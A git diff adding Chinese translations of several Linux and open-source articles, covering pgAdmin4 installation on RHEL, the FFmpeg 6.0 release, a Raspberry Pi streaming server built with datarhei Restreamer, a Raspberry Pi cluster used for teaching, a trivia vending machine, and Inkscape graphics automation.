policycoreutils-python-utils -y +``` + +再一次如下运行 Pgadmin4 安装脚本。 提供电子邮件地址和密码,在提示时输入 `y`。 + +``` +$ sudo /usr/pgadmin4/bin/setup-web.sh +``` + +![][6] + +### 步骤 5)访问 PgAdmin4 的 Web 界面 + +此时,PgAdmin4 已经成功安装。要从网络浏览器访问它,请前往以下地址: + +``` +http://server-ip/pgadmin4 +``` + +你会看到登录网页界面。请确保提供你在运行安装脚本时提供的 Email 和密码,并点击 “登录Login”: + +![][7] + +登录后,PgAdmin4 的仪表板将出现在视图中,如图所示: + +![][8] + +要添加一个可以由 PgAdmin4 管理的服务器,请点击 “添加新服务器Add New Server”: + +![][9] + +在 “通用General” 选项卡中,填写服务器的名称,并添加注释,以便更好地描述: + +![][10] + +接下来,点击 “连接Connection”,填写主机名/地址、端口、维护数据库、用户名和密码。然后最后点击 “保存Save”: + +![][11] + +此后,你会看到 PosrgreSQL 服务器的统计数据显示在互动和直观的仪表板上。在左边的侧边栏,你可以浏览各种 PostgreSQL 参数: + +![][12] + +### 总结 + +我们希望你觉得本指南内容丰富,请在下面的评论部分发表你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-pgadmin-on-rhel/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed/ +[1]: https://www.linuxtechi.com/wp-content/uploads/2023/03/Install-pgadmin4-rhel9-dnf-command.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2023/03/Pgadmin4-RPM-Package-Information-RHEL9.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2023/03/Start-Enable-Http-Pgadmin-RHEL9.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2023/03/semange-not-found-pgadmin4-rhel9.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2023/03/DNF-Whatprovides-semanage-RHEL9.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2023/03/pgadmin-setup-web-script-rhel9.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2023/03/Pgadmin4-Login-Page-RHEL9.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2023/03/Dashboard-Pgadmin4-RHEL9.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2023/03/Add-New-PostgreSQL-to-Pgadmin4-RHEL9.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2023/03/General-Description-Pgadmin-New-PostgreSQL.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2023/03/Connection-Details-PostgreSQL-Pgadmin4-GUI.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2023/03/PostgreSQL-Statistics-Dashboard-Pgadmin4.png +[13]: https://www.linuxtechi.com/how-to-install-postgresql-on-rhel/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/12/080937o03a11xsz99zawzm.jpg \ No newline at end of file diff --git a/published/20230301.1 ⭐️⭐️ FFmpeg 6.0 Released with WBMP and Radiance HDR Image Support.md b/published/20230301.1 ⭐️⭐️ FFmpeg 6.0 Released with WBMP and Radiance HDR Image Support.md new file mode 100644 index 0000000000..450b01e9e0 --- /dev/null +++ b/published/20230301.1 ⭐️⭐️ FFmpeg 6.0 Released with WBMP and Radiance HDR Image Support.md @@ -0,0 +1,100 @@ +[#]: subject: "FFmpeg 6.0 Released with WBMP and Radiance HDR Image Support" +[#]: via: "https://debugpointnews.com/ffmpeg-6-0/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15597-1.html" + +FFmpeg 6.0 发布:支持 WBMP 和 Radiance HDR 图像 +====== + +![][0] + +> 开源多媒体框架 FFmpeg 6.0 现已发布,带来了更新和改进。 + +流行的开源多媒体框架 FFmpeg 6.0 现已发布。这个主要的版本现在已可下载,并在多媒体项目中使用。其亮点变化包括两个新的图像格式支持,许多编解码器和其他增强功能。 + +下面是一个快速回顾。 + +### FFmpeg 6.0 新增内容 + +#### 主要变化 + +这个版本的主要亮点是对两种新图像格式的支持。[Radiance HDR 图像][2](RGBE)为用户在图像处理中提供了更好的色彩深度和动态范围。FFmpeg 6.0 现在包括对 [WBMP(无线应用协议位图)][3] 图像格式的支持,这在移动设备和网络应用中是常用的图像格式。 + +在 FFmpeg 6.0 中,新的 `-shortest_buf_duration` 选项允许用户为音频和视频缓冲区设置一个最小的持续时间,这可以确保在输出文件中使用最短的缓冲区时间。 + +从 FFmpeg 6.0 开始,线程必须被内置到软件中才能运行。在这个版本中,每个复用器都在一个单独的线程中运行。这提高了性能,使同时处理多个流的效率更高。 + +FFmpeg 6.0 中的 `cropdetect`(裁剪检测)过滤器现在包括一个新的模式,可以根据运动向量和边缘检测裁剪区域,为用户提供更精确的视频裁剪控制。 + +#### 过滤器 + +在这个版本中,大量的过滤器得到了更新,这将通过新的功能简化你的多媒体项目和工作流程。下面是一个快速的变化列表: + +- `ddagrab` 过滤器现在支持桌面复制视频捕获,允许用户直接从他们的桌面上捕获视频。 +- `a3dscope` 过滤器为用户提供了音频信号的 3D 范围显示,允许更精确的音频编辑和处理。 +- `backgroundkey` 过滤器允许用户删除或替换视频片段中的背景,为视频编辑提供更大的灵活性。 +- `showcwt` 多媒体过滤器允许用户将连续小波变换系数可视化,提供对信号和图像处理的洞察力。 +- `corr` 视频过滤器对视频帧进行二维交叉关联,提供更精确的运动估计和稳定。 +- `ssim360` 视频过滤器计算两个视频帧之间的 [结构相似度指数(SSIM)][4],为衡量 360 度视频的视频质量提供了一个指标。 + +#### 编解码器 + +在这个版本中,编解码器的更新是非常多的。 + +首先,FFmpeg 6.0 现在支持 NVENC AV1 编码,允许用户使用英伟达最新的压缩技术对视频进行编码。MediaCodec 解码器现在支持 NDKMediaCodec,为安卓设备提供更好的兼容性。其次,增加了一个新的 MediaCodec 编码器,允许在安卓设备上进行视频编码时进行硬件加速。 + +在此基础上,该版本包括了对 QSV(快速同步视频)的 oneVPL 支持,在英特尔 CPU 上进行视频编码时提供了更好的性能和质量。QSV AV1 编码器允许用户在英特尔 CPU 上使用硬件加速对 AV1 视频进行编码。 + +这个版本引入了对 10/12 位 422、10/12 位 444 HEVC 和 VP9 的 QSV 编解码支持,为用户提供更好的视频质量和性能。WADY DPCM 解码器和解复用器允许用户使用 WADY DPCM(差分脉冲编码调制)格式对音频进行解码和解复用,这种格式通常用于视频游戏配乐。 + +此外,现在还有一个 CBD2 DPCM 解码器,它允许用户使用 CBD2(共轭结构代数编码簿差分脉冲编码调制)格式解码音频。这种格式通常用于电信和语音编码应用。 + +#### 其他变化 + +这个变化清单很庞大,其中还包括 FFmpeg 程序的新 CLI 选项和其他错误修复。你可以在 GitHub 上阅读详细的 [变更日志][5]。 + +### 下载和安装 + +对于 Debian、Ubuntu 和相关的发行版,这个版本应该在几天内到达。请在 [Debian 跟踪页][6] 中留意。 + +对于 Fedora、RHEL、CentOS,你可以通过 RPM Fusion 仓库获得这个版本。如果你已经设置了 RPM Fusion,请更新你的系统以获得它。 + +源代码和其他下载都可以在 [这里][6] 下载。 + +另外,你可以在这里查看我们的独家文章中如何安装FFmpeg和基本使用方法。 + +> **[如何在 Ubuntu 和其他 Linux 中安装 FFmpeg][7]** + +### 总结 + +有了 Radiance HDR 图像支持等新功能,以及对各种编解码的改进支持,FFmpeg 6.0 为用户提供了强大的音频和视频处理工具。 + +新的过滤器变化提供了先进的音频和视频处理能力,从去除或替换视频中的背景到执行运动估计和稳定。 + +总的来说,这是一个重要的里程碑式的更新,为音频和视频处理工作负载提供了更好的性能和更大的灵活性。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/ffmpeg-6-0/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed/ +[1]: https://debugpointnews.com/wp-content/uploads/2023/03/ffmpeg-head.jpg +[2]: https://en.wikipedia.org/wiki/RGBE_image_format +[3]: https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format +[4]: https://en.wikipedia.org/wiki/Structural_similarity +[5]: https://github.com/FFmpeg/FFmpeg/blob/master/Changelog +[6]: https://ffmpeg.org/download.html +[7]: https://www.debugpoint.com/install-ffmpeg-ubuntu/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/05/101412oh8heamj44mo72k8.jpg \ No newline at end of file diff --git a/published/20230301.3 ⭐️⭐️ Use your Raspberry Pi as a streaming server.md b/published/20230301.3 ⭐️⭐️ Use your Raspberry Pi as a streaming server.md new file mode 100644 index 0000000000..1140dfcbc7 --- /dev/null +++ b/published/20230301.3 ⭐️⭐️ Use your Raspberry Pi as a streaming server.md @@ -0,0 +1,124 @@ +[#]: subject: "Use your Raspberry Pi as a streaming server" +[#]: via: "https://opensource.com/article/23/3/raspberry-pi-streaming-server" +[#]: author: "Sven Erbeck https://opensource.com/users/erbeck" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15616-1.html" + +将你的树莓派用作流媒体服务器 +====== + +![][0] + +> 用树莓派串流网络摄像头的实时视频,并将视频重新串流到社交网络。 + +出于各种原因,人们需要流式传输网络摄像头的实时视频。树莓派平台很适合此类应用。对于实时流媒体服务器等连续应用,它只需要很少的电力。可以与 Raspicam 相机模块、USB 摄像头或其他网络视频信号进行通信。该系统是一个 RTMP、HLS 和 SRT 服务器。这篇文章展示了如何将树莓派设置为流媒体服务器以使用 HLS 流媒体。你需要一个视频源才能把它作为流媒体服务器使用。 + +即使没有树莓派,你也可以完成这里描述的步骤。此外,还有针对 [Windows][1]、[Linux][2] 和 [macOS][3] 的进一步安装说明。 + +### 设置 + +该应用程序是 datarhei [Restreamer][4],是 datarhei [Core][5] 的图形用户界面。datarhei Core 在底层运行著名的媒体框架 FFmpeg。开始使用 datarhei Restreamer 的最简单方法是安装官方的 Docker 容器。通过 Docker Hub 的程序下载和安装是通过 ` docker pull` 命令自动进行的。安装后,Restreamer 立即启动。如果你没有树莓派,可以使用 datarhei [Restreamer GitHub][4] 页面上的其他 Docker 容器之一(例如,支持 AMD64 或 GPU Cuda)。 + +datarhei Restreamer 和 datarhei Core 都是 [Apache 许可证 2.0][6] 下的开源软件。 + +以下是在支持 GPU 的树莓派 3 及以上机型上的安装命令: + +``` +docker run -d --restart=always --name restreamer \ + -v /opt/restreamer/config:/core/config -v /opt/restreamer/data:/core/data \ + --privileged \ + -p 8080:8080 -p 8181:8181 \ + -p 1935:1935 -p 1936:1936 \ + -p 6000:6000/udp \ + datarhei/restreamer:rpi-latest +``` + +无论你使用哪条命令,你只需要 `--privileged` 选项来访问本地设备,如 USB 摄像头。 + +安装后,将 Raspberry Pi 连接到本地网络。然后在浏览器中进入 [http://device-ip:8181/ui][7] 打开基于 Web 的 GUI。 + +你应该看到以下屏幕: + +![First login into datarhei Restreamer][8] + +分配好密码,系统就可以进行首次登录了。向导正在开始配置第一个视频源。 + +提示:上述 Docker 命令将带有登录名和密码的配置数据永久保存在 `/opt/restreamer/config` 文件夹中。 + +### 实施 + +该应用程序由三个逻辑部分组成:视频输入、系统仪表板和视频输出。视频输入和输出相互独立运行。 + +### 视频输入 + +该向导将帮助你从头开始创建一个视频源。这可以是一个 USB 视频源、树莓派摄像头,或者是一个网络源,如 IP 摄像头或来自网络的 m3u8 文件。HLS、RTMP 和实时 SRT 协议都可以使用。该向导可以帮助正确配置视频分辨率和声音。在最后一步,你可以分配不同 知识共享Creative Commons 许可证。值得看一下视频信号的设置。你会发现几个选项,例如为垂直视频平台转码或旋转视频。 + +### 仪表板 + +成功创建视频信号后,你将进入仪表板。 + +![datarhei Restreamer dashboard][9] + +它是所有其他设置的中心起点。要看到程序的全部功能,你可以在系统偏好中切换到专家模式。 + +仪表板包含以下内容: + +- 视频信号设置。 +- RTMP、SRT、HLS 服务器和快照的活动内容 URL。 +- 用于重新流式传输的所有活动发布服务。 +- 启动向导来创建额外的视频源。 +- 系统菜单。 +- 实时视频信号统计。 +- 实时系统监控。 + +### 视频输出 + +有不同的方法来播放视频信号。 + +这个 [发布网站][10] 是 Restreamer 最简单、即时可用且内部托管的登录页面。播放页面也可以传输到 Chromecast 和 AirPlay。调整背景图片和在播放器中添加标识等基本设置可以直接在 Restreamer 中进行。那些懂 HTML 的人可以为自己定制页面。高级用户可以注入代码,以使用网站的外部模块,如聊天。视频播放器下的统计模块显示活跃的观众和所有视图。“分享Share” 按钮支持直播流的分发。网站的 HTTPS 证书通过 Let's Encrypt 激活,无需太多努力。通过简单的 HTTPS 端口转发到树莓派的 LAN IP,网站就可以公开访问。 + +![Landingpage from datahrei Restreamer][11] + +发布服务是重新传输内容的一个好方法。对于流行的网站,如 YouTube、Twitch 或 PeerTube,有许多现成的模块。同样,对于其他流媒体软件、流行的 CDN 也是如此。对视频协议的完全控制允许流式传输到所有支持 RTMP、HLS 和 SRT 的目标地址。一个带有视频播放器的 HTML 片段代码在网页上工作。 + +![Presets for publication services][12] + +### 使用树莓派播放流媒体节省电力 + +这篇文章展示了如何将树莓派变成一个流媒体服务器。树莓派平台允许你以省电的方式与各种视频信号互动。预先的设置使配置服务器变得很容易,高级用户可以对系统进行一些调整。你可以用它来做回放,在网站上托管实时流式传输,或使用 [OBS][13] 集成到系统环境中。使用不同的视频源和传输协议作为项目的基础,提供了极大的灵活性,使这个系统具有高度的可定制性。此外,带有 FFmpeg 的 datarhei Core 使软件开发者很容易扩展所有的应用进程。 + +该程序将树莓派变成一个专门的流媒体服务器。你可以独立地直播到网站或多路直播到不同的视频网络,而无需额外的视频提供商。 + +可以使用登录名 “admin” 和密码 “demo” 在项目网站上安装之前测试功能齐全的 [演示][14]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/raspberry-pi-streaming-server + +作者:[Sven Erbeck][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/erbeck +[b]: https://github.com/lkxed/ +[1]: https://docs.datarhei.com/restreamer/installing/windows +[2]: https://docs.datarhei.com/restreamer/installing/linux +[3]: https://docs.datarhei.com/restreamer/installing/mac +[4]: https://github.com/datarhei/restreamer +[5]: https://github.com/datarhei/core +[6]: https://github.com/datarhei/restreamer/blob/2.x/LICENSE +[7]: http://device-ip:8181/ui +[8]: https://opensource.com/sites/default/files/2023-01/fig2-first-login-datarhei.jpg +[9]: https://opensource.com/sites/default/files/2023-01/fig1-title-dashboard-datarhei.jpg +[10]: https://demo.datarhei.com/ +[11]: https://opensource.com/sites/default/files/2023-01/fig3-int-publication-website-datarhei.jpg +[12]: https://opensource.com/sites/default/files/2023-01/fig4-preset-publication-services-datarhei.jpg +[13]: https://opensource.com/article/20/6/obs-websockets-streaming +[14]: https://demo.datarhei.com/ui +[0]: https://img.linux.net.cn/data/attachment/album/202303/11/101802ajd68nnzn6788h6i.jpg \ No newline at end of file diff --git a/published/20230302.0 ⭐️⭐️ Parallel and distributed computing with Raspberry Pi clusters.md b/published/20230302.0 ⭐️⭐️ Parallel and distributed computing with Raspberry Pi clusters.md new file mode 100644 index 0000000000..34623cdd51 --- /dev/null +++ b/published/20230302.0 ⭐️⭐️ Parallel and distributed computing with Raspberry Pi clusters.md @@ -0,0 +1,71 @@ +[#]: subject: "Parallel and distributed computing with Raspberry Pi clusters" +[#]: via: "https://opensource.com/article/23/3/parallel-distributed-computing-raspberry-pi-clusters" +[#]: author: "Peter Cheer https://opensource.com/users/visimpscot2" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15609-1.html" + +用树莓派集群进行并行和分布式计算 +====== + +![][0] + +> 这个使用树莓派集群的学术实验向远程教育学生介绍了并行和分布式计算(PDC)的概念。 + +自从树莓派推出以来,创造者们已经在这个简陋的袖珍芯片系统上开展了无数的计算机科学教育项目。其中包括许多探索低成本树莓派集群的项目,以介绍 并行和分布式计算Parallel and Distributed Computing(PDC)概念。 + +英国 开放大学Open University(OU)为不同年龄、经历和背景的学生提供远程教育,这就提出了一些在更传统的大学中没有面临的问题。开放大学使用树莓派集群向远程教育学生介绍 PDC 概念的实验始于 2019 年,并在一篇 [学术论文][1] 中进行了介绍,但值得更广泛地了解。 + +该项目使用基于 [OctaPi 教程][2] 的树莓派集群,该指令由 GCHQ 在知识共享许可协议下发布。八个树莓派使用一个路由器和一个交换机连接在一个私人网络中。其中一个树莓派充当主控,而其他的是服务器,将结果反馈给主控设备。用 Python 编写的程序运行在主控树莓派,而 `dispy` 包将活动分发在集群的各个处理核心上。 + +他们为该集群开发了三个程序,你可以从 [Git 仓库][3] 下载它们。 + +其中两个程序是基于文本的,并与搜索问题有关:旅行推销员和密码散列。作为完整的搜索问题,这些是教授 PDC 概念的理想选择。第三个程序是图形化的。图像组合器将三幅图像作为输入,其中有不重叠的障碍物。它通过对三幅图像的 RGBA 值进行逐个像素的比较并选择中位数来构建一个没有任何障碍物的图像。 + +### 使用集群 + +开放大学是一个远程学习机构,所以学生通过网页界面访问集群。对集群的远程访问使用大学的 OpenSTEM 实验室的基础设施。10 个集群(8 个用树莓派 4 构建,2 个用树莓派 3B+ 建造)被安装在机架上,用网络摄像头对准每个集群。 + +学生们选择要运行的程序,使用的核心数量,以及所选程序的参数。作为输出,他们可以看到该程序在单个树莓派上运行的时间与使用所选核数的集群的时间相比。学生还可以看到程序的输出,如密码散列结果、最小和最大的旅行推销员路线,或未遮挡的图像。 + +![Generating a fourth image from information in three images][4] + +网络摄像头显示了集群的实时流。主控树莓派有一个 LED 显示屏,显示程序运行时的状态。网络摄像头让学生清楚地知道,他们是在用真正的专用硬件做实验,而不是得到模拟的或预先录制的结果。 + +![Raspberry Pi cluster][5] + +每个程序都有两个与之相关的活动,描述了程序设计和 PDC 操作的不同方面。其中一个主要的学习点是,PDC 计算可以提供显著的性能优势,但代价是划分和分发问题以及反过来重新组合结果所花费的时间和资源。第二个学习点是,效率受程序设计的影响很大。 + +### 学生喜欢 + +目前,树莓派集群的使用是可选的。不过根据目前的研究结果,学生们很喜欢它,并因能远程接触到物理硬件而受到激励。 + +一位学生说:“能够使用真正的集群,而不是让它虚拟化,这真的很有趣”。 + +另一名学生补充说:“能够真正看到集群的工作,看到多核工作的真实效果,这真的很令人兴奋。能够亲自尝试,而不仅仅是阅读有关理论,这真是太好了!” + +学生们正在使用集群开展旨在教授 PDC 原理的学习活动,而不是编写和运行他们自己的程序。开发低成本的树莓派集群供远程大学学生使用的经验表明,远程实践活动对教授 PDC 概念和吸引学生有好处。 + +当我向该项目背后的团队成员之一 Daniel Gooch 询问时,他说:“对我来说,我们的不同之处在于,我们采用了一套现有的树莓派教程,并致力于整合更多外围材料,以确保它能够应对我们操作的距离和规模。” + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/parallel-distributed-computing-raspberry-pi-clusters + +作者:[Peter Cheer][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/visimpscot2 +[b]: https://github.com/lkxed/ +[1]: https://doi.org/10.1080/02680513.2022.2118573 +[2]: https://projects.raspberrypi.org/en/projects/build-an-octapi +[3]: https://github.com/dg7692/TM129 +[4]: https://opensource.com/sites/default/files/2023-02/image-project.png +[5]: https://opensource.com/sites/default/files/2023-02/cluster.png +[0]: https://img.linux.net.cn/data/attachment/album/202303/09/103012m05dzitda8581bcj.jpg \ No newline at end of file diff --git a/published/20230303.0 ⭐️ A trivia vending machine made with a Raspberry Pi.md b/published/20230303.0 ⭐️ A trivia vending machine made with a Raspberry Pi.md new file mode 100644 index 0000000000..fbaf7a2fdd --- /dev/null +++ b/published/20230303.0 ⭐️ A trivia vending machine made with a Raspberry Pi.md @@ -0,0 +1,55 @@ +[#]: subject: "A trivia vending machine made with a Raspberry Pi" +[#]: via: "https://opensource.com/article/23/3/raspberry-pi-trivia-vending-machine" +[#]: author: "Phil Shapiro https://opensource.com/users/pshapiro" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15652-1.html" + +用树莓派制作的问答售货机 +====== + +![][0] + +> 用树莓派取代食品售货机上的投币箱是一个天才之举。 + +作为在公共图书馆工作的教育工作者,我一直在关注 [树莓派][1] 的有趣用途。在我看来,得克萨斯州达拉斯市的问答售货机Trivia Vending Machine项目是这些神奇设备最具创意和最有趣的用途之一。使用树莓派取代食品售货机上的投币箱是 Greg Needel 和他的团队的一个天才之作。这个想法的潜在用途是深远的。请观看下面这个 [YouTube 短视频][2],了解问答自动售货机的运行情况。 + +![YouTube 短视频][2] + +最初的问答售货机专注于科学问题,但你可以制作一个问答售货机来回答任何问题:历史、公民、文学等等。如果你鼓励学生写自己的问题,并回答对方的问题,那将是最有吸引力的用途。请考虑这样:自动售货机可以不发放食物,而是发放当地企业的优惠券。我谋生的方式之一是教吉他课,我很乐意捐出一节吉他课作为问答售货机的优惠券。然而,学生必须积累适当数量的积分才能获得我的一堂吉他课。 + +把你的想象力再延伸一点。是否有可能让学生解决逻辑谜题,以便从自动售货机获得食物(或优惠券)?是的,这并不难创造。也许是数独谜题、[Wordle][3]、KenKen、Sokoban 或任何其他谜题。学生可以用触摸屏玩这些谜题。国际象棋怎么样?当然,学生可以通过解决象棋谜题来获得食物(或优惠券)。 + +你是否注意到视频中原来的问答售货机又大又重? 设计一个更小的,可能是滚动手推车大小的三分之一,这可以在学校、图书馆、博物馆和创客嘉年华之间更容易运输。 + +问答售货机的内部由步进电机组成。你可以在网上购买二手的。在网络上搜索“二手自动售货机电机”会出现 [Vending World][4] 和 [VendMedic][5] 网站。 + +如果你是创客空间的成员,请向其他成员介绍问答售货机。这是一个开放的发明,没有专利,所以任何人都可以制造它。(谢谢你,Greg Needel)我想为这样的设备编写代码并不太难。如果有人可以创建此类代码的 GitHub 仓库,以及可能附带的一些解释性截屏,那就太好了。 + +虽然问答售货机没有在红牛创意大赛中获奖,但这项发明还是值得获奖的。应该有人找到 Greg Needel 并给他一个合适的奖品。该奖项应该是什么样子的?可能是 2.5 万或 5 万美金的样子。我为 Greg Needel 和他的创意团队欢呼三声。他们把树莓派带到了这种计算机的发明者所希望的方向:修理工的快乐。大胆、美丽、开放。你还能要求更多吗? + +最后一件事。问答售货机是几年前使用早期的树莓派型号制作的。当前的树莓派速度更快,响应更快。因此,你在上述视频中注意到的任何交互延迟在今天的树莓派上已不复存在。 + +哦,我非常想要一块糖果。我砸吧砸吧嘴。提醒我,我需要赚取多少积分才能获得士力架?不惜一切代价,我会不惜一切代价。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/raspberry-pi-trivia-vending-machine + +作者:[Phil Shapiro][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/pshapiro +[b]: https://github.com/lkxed/ +[1]: https://opensource.com/resources/raspberry-pi +[2]: https://www.youtube.com/watch?v=pDOhk-YAhys +[3]: https://opensource.com/article/22/1/word-game-linux-command-line +[4]: https://vendingworld.com/small-vending-parts/vending-machine-motors-small-parts +[5]: https://www.vendmedic.com/product-category/vending-parts/vend-motors/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/22/214542uba6m8d8dwbahraa.jpg \ No newline at end of file diff --git a/published/20230303.1 ⭐️ How I automate graphics creation with Inkscape.md b/published/20230303.1 ⭐️ How I automate graphics creation with Inkscape.md new file mode 100644 index 0000000000..3e651ca0e6 --- /dev/null +++ b/published/20230303.1 ⭐️ How I automate graphics creation with Inkscape.md @@ -0,0 +1,99 @@ +[#]: subject: "How I automate graphics creation with Inkscape" +[#]: via: "https://opensource.com/article/23/3/automate-graphics-production-inkscape" +[#]: author: "Máirín Duffy https://opensource.com/users/mairin" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15610-1.html" + +我如何用 Inkscape 实现图形创作自动化 +====== + +![][0] + +> 跟随这个 Inkscape 教程,大量创建会议讲座卡图形。 + +我录制了一个 [15 分钟长的教程][1],演示如何在 [Inkscape][2] 中从 CSV 文件或电子表格中自动生成图形(基本上是邮件合并类图形)。它使用了 Maren Hachmann 的 [Next Generator Inkscape 扩展][3]。 + +你可以在 [Fedora 设计团队在 Linux Rocks 上的 PeerTube 频道][4](PeerTube 是开源的!)或下面的嵌入式 YouTube 视频中观看。 + +![][4a] + +在这篇文章中,我提供了一些关于这个教程相关的背景。我还包括了对视频中内容的一个非常简要的总结,以防你宁愿草草浏览文字而不看视频。 + +### 会议讲座卡图形 + +每个 Flock/Nest 都需要为你在举办虚拟会议的在线平台上的每个讲座提供一个图形。像这样的大型活动,通常有大约 50 个或更多的讲座。这需要大量手工制作的图形。 + +通过本教程,你将学习如何在 Inkscape 中制作这样的模板。 + +![图片显示 Inkscape 模板的一个例子][5] + +CSV 文件类似这样: + +| CONFERENCENAME | TALKNAME | PRESENTERNAMES | +| :- | :- | :- | +| BestCon | The Pandas Are Marching | Beefy D. Miracle | +| Fedora Nest | Why Fedora is the Best Linux | Colúr and Badger | +| BambooFest 2022 | Bamboo Tastes Better with Fedora | Panda | +| AwesomeCon | The Best Talk You Ever Heard | Dr. Ver E. Awesome | + +将它们结合起来,CSV 中的每一行生成一个图形,像这样: + +![在 Inkscape 模板上显示 CSV 的图片][6] + +会议图形是你如何应用这个教程的一个好例子。你也可以用它来生成名片(它输出的是 PDF)、个性化的生日邀请函、教室里学生的个性化图形(比如贴在学生课桌上的名卡),以及办公室的铭牌。你也可以用它来创建用于标记物品的图形。[作为 Fedora 设计团队的成员][7],你甚至可以用它来为 Fedora 制作很棒的横幅和图片!你可以用它来制作大量的不同用途。你可以应用这种技术的用途有很多,所以让你的想象力飞翔吧。 + +### Inkscape Next Generator 扩展 + +创建这些图片的第一步是安装 Maren Hachmann 为Inkscape 创建的 [Next Generator 扩展][3]。 + +- 到网站上下载 [next_gen.inx][8] 和 [next_gen.py][9]。 +- 然后进入 Inkscape的 “编辑Edit > 首选项Preferences > 系统System”对话框。搜索 “用户扩展User Extensions” 目录列表并点击 “打开Open” 图标。将 .inx 和 .py 文件拖入该文件夹。 +- 最后,你应该关闭所有打开的 Inkscape 窗口并重新启动 Inkscape。新的扩展在 “扩展Extensions” 菜单下: “扩展Extensions > 输出Export > Next Generator”。 + +### 创建一个模板 + +你的 CSV 文件的每个标题(在我的例子中:`ConferenceName`、`TalkName`、`PresenterNames`)都是一个变量,你可以把它放在 Inkscape 文件中,作为你的模板。[看一下 SVG 模板文件的例子][10],以获得指导。如果你想让 `TalkName` 出现在你的模板中,在 Inkscape中创建一个文本对象,并将以下内容放入其中: + +``` +%VAR_TalkName% +``` + +当你运行扩展时,`%VAR_TalkName%` 文本将被替换为 CSV 中每一行列出的 `TalkName`。因此,对于第一行,`%VAR_TalkName%` 被替换为第一个图形的文本 `The Pandas Are Marching`。对于第二个图形,`TalkName` 是 `Why Fedora is the Best Linux`。继续,直到给每个图形的加上 `TalkName` 列。 + +### 运行生成器 + +一旦你的模板准备好了,通过加载你的 CSV,运行 `Next Generator` 扩展。然后,选择你想在每个文件名中使用的变量(标题名称),点击 “应用Apply” 按钮。 + +在后面的文章中,我将提供一个关于这个扩展的更高级使用的教程,比如改变每个文件中包含的颜色和图形。 + +本文最初发表在作者的 [博客][11]上,经许可后重新发表。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/automate-graphics-production-inkscape + +作者:[Máirín Duffy][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mairin +[b]: https://github.com/lkxed/ +[1]: https://peertube.linuxrocks.online/w/sf8Vqgg3aRkPKpb7KMsHgH +[2]: http://inkscape.org +[3]: https://gitlab.com/Moini/nextgenerator +[4]: https://peertube.linuxrocks.online/c/fedora_design/videos +[4a]: https://youtu.be/IxZC4gNwFyM +[5]: https://opensource.com/sites/default/files/2023-02/InkscapeTemplateExample.png +[6]: https://opensource.com/sites/default/files/2023-02/Bamboo-Tastes-Better-with-FedoraINKSCAPE.png +[7]: https://matrix.to/#/#design:fedoraproject.org +[8]: https://gitlab.com/Moini/nextgenerator/-/raw/master/next_gen.inx?inline=false +[9]: https://gitlab.com/Moini/nextgenerator/-/raw/master/next_gen.py?inline=false +[10]: https://gitlab.com/fedora/design/team/tutorials/inkscape-automation/-/blob/main/template-simple.svg +[11]: https://blog.linuxgrrl.com/2022/07/19/how-to-automate-graphics-production-with-inkscape/ +[0]: 